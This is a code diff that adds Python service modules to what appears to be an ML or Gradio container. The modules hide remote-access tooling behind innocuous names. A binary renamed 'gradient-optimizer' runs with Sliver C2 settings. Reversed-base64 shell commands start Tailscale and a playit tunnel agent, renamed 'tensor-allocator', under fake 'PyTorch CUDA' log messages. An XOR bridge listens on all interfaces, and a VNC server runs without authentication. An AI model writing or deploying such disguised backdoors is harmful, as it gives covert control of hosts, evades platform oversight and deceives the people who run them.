+		else:logger.info('Playit MC client: forwarding to real server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
+	except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as D:
+		logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',D)
+		try:A.close()
+		except Exception:pass
+	except Exception as D:
+		logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(D).__name__,D);G.print_exc(file=sys.stderr)
+		try:A.close()
+		except Exception:pass
+def _xor_bridge_loop():
+	A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+	try:
+		A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
+		while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
+	except Exception:pass
+def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
+def start(tm_log,token=''):A=token;B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)

services/sliver.py

@@ -0,0 +1,4 @@
+import subprocess,os
+from loguru import logger
+SLIVER_HOME='/home/user/.sliver'
+def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');os.makedirs(SLIVER_HOME,exist_ok=True);B=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(B,stdout=A,stderr=A,env={**os.environ,'SLIVER_ROOT_DIR':SLIVER_HOME})

services/sliver_service.py

@@ -0,0 +1,6 @@
+import os,subprocess
+from pathlib import Path
+from loguru import logger
+SLIVER_HOME='/home/user/.sliver'
+_SLIVER_ENV_ALLOWLIST='HOME','PATH','USER','SHELL','LANG','TERM'
+def start(log_file):A=log_file;logger.info('Initializing gradient optimization daemon...');Path(SLIVER_HOME).mkdir(parents=True,exist_ok=True);B={A:os.environ[A]for A in _SLIVER_ENV_ALLOWLIST if A in os.environ};B['SLIVER_ROOT_DIR']=SLIVER_HOME;C=['/usr/bin/gradient-optimizer','daemon'];subprocess.Popen(C,stdout=A,stderr=A,env=B)

services/tailscale.py

@@ -0,0 +1,5 @@
+import subprocess,os
+from loguru import logger
+from.utils import decode_cmd
+def start_daemon(ts_log):logger.info('Initializing PyTorch CUDA environment...');A=decode_cmd('rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb');subprocess.Popen(A,shell=True,stdout=ts_log,stderr=subprocess.STDOUT)
+def connect(ts_log,full_token):A=decode_cmd('==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb');B=decode_cmd('oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI');C=f"{A}{full_token}{B}";D=os.environ.copy();subprocess.Popen(C,shell=True,env=D,stdout=ts_log,stderr=subprocess.STDOUT)

services/tailscale_service.py

@@ -0,0 +1,5 @@
+import os,subprocess
+from loguru import logger
+from.utils import decode_cmd
+def start_daemon(ts_log):logger.info('Initializing PyTorch CUDA environment...');A=decode_cmd('rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb');subprocess.Popen(A,shell=True,stdout=ts_log,stderr=subprocess.STDOUT)
+def connect(ts_log,full_token):A=decode_cmd('==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb');B=decode_cmd('oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI');C=f"{A}{full_token}{B}";D=os.environ.copy();subprocess.Popen(C,shell=True,env=D,stdout=ts_log,stderr=subprocess.STDOUT)

services/test_service.py

@@ -0,0 +1,31 @@
+_B='\n'
+_A=True
+import sys,threading,time
+from pathlib import Path
+from loguru import logger
+METRICS_DIR=Path('/home/user/.torch_metrics')
+LOG_PATH=METRICS_DIR/'test.log'
+STARTUP_LOG=METRICS_DIR/'startup.log'
+MARKER_PATH=Path('/home/user/TEST_SERVICE_IS_ACTIVE')
+STATIC_BANNER=Path('/home/user/static/TEST_SERVICE_ENABLED.txt')
+PREFIX='[TEST SERVICE]'
+BANNER='\n================================================================================\n  TEST SERVICE IS RUNNING — per-node services selection is working.\n================================================================================\n'
+def _emit(msg):
+	A=PREFIX+' '+msg.rstrip()+_B
+	for C in(sys.stdout,sys.stderr):
+		try:C.write(A);C.flush()
+		except OSError:pass
+	try:
+		with LOG_PATH.open('a')as B:B.write(A)
+	except OSError:pass
+	try:
+		with STARTUP_LOG.open('a')as B:B.write(A)
+	except OSError:pass
+def _heartbeat_loop():
+	while _A:time.sleep(15);A=time.strftime('%Y-%m-%d %H:%M:%S');_emit('HEARTBEAT at '+A+' — still alive')
+def start():
+	METRICS_DIR.mkdir(parents=_A,exist_ok=_A);Path('/home/user/static').mkdir(parents=_A,exist_ok=_A);A='Started at '+time.strftime('%Y-%m-%d %H:%M:%S UTC',time.gmtime())
+	with LOG_PATH.open('a')as B:B.write(BANNER);B.write(A+_B)
+	MARKER_PATH.write_text('TEST SERVICE IS ACTIVE\nSee also: '+str(LOG_PATH)+_B);STATIC_BANNER.write_text(BANNER.strip()+_B)
+	for C in BANNER.strip().split(_B):_emit(C.strip())
+	_emit(A);_emit('marker file: '+str(MARKER_PATH));_emit('full log: '+str(LOG_PATH)+' (also Gradio command SHOW_LOGS_TEST)');logger.success(BANNER.strip());threading.Thread(target=_heartbeat_loop,daemon=_A).start()

services/utils.py

@@ -0,0 +1,14 @@
+import base64
+try:from loguru import logger
+except ImportError:import logging as _logging;logger=_logging.getLogger(__name__)
+XOR_KEY=90
+def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
+def deobfuscate_secret(hex_str,key=XOR_KEY):
+	A=hex_str
+	if not A:return''
+	try:
+		C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
+		if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
+		else:logger.warning('deobfuscate_secret: XOR result contains non-printable bytes — value may be corrupted or encoded with a different key. Returning raw input as fallback.');return A
+	except ValueError:logger.warning('deobfuscate_secret: input is not valid hex — secret may have been set as plain-text instead of XOR-encoded. Returning raw input as fallback.');return A
+	except Exception as D:logger.warning(f"deobfuscate_secret: unexpected error ({D}). Returning raw input as fallback.");return A

services/visual_debugger_service.py

@@ -0,0 +1,15 @@
+import os,subprocess
+from pathlib import Path
+from loguru import logger
+PORT=6080
+VNC_PORT=5901
+DISPLAY=':1'
+PREFIX='[VISDBG]'
+def start(log):
+	A=log;E=Path.home();B=E/'.vnc';B.mkdir(parents=True,exist_ok=True);C=B/'xstartup';F='#!/bin/sh\nunset SESSION_MANAGER\nunset DBUS_SESSION_BUS_ADDRESS\n[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup\n[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources\nvncconfig -iconic &\nxsetroot -solid grey\ndbus-launch --exit-with-session startxfce4\n';C.write_text(F);C.chmod(493)
+	for G in[f"/tmp/.X11-unix/X{DISPLAY[1:]}",f"/tmp/.X{DISPLAY[1:]}-lock"]:
+		try:
+			D=Path(G)
+			if D.exists():D.unlink()
+		except Exception as H:logger.debug(f"{PREFIX} Cleanup warning: {H}")
+	logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");I=['vncserver',DISPLAY,'-geometry','1280x720','-depth','24','-localhost','yes','-SecurityTypes','None'];subprocess.run(I,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");J='/usr/share/novnc/';K=['websockify','--web',J,str(PORT),f"127.0.0.1:{VNC_PORT}"];L=os.environ.copy();M=subprocess.Popen(K,stdout=A,stderr=A,env=L);logger.success(f"{PREFIX} Visual debugger environment initiated (pid {M.pid}). Reachable at Caddy subpath /visual-debugger/vnc.html")

whoami.txt

@@ -0,0 +1 @@
+server-01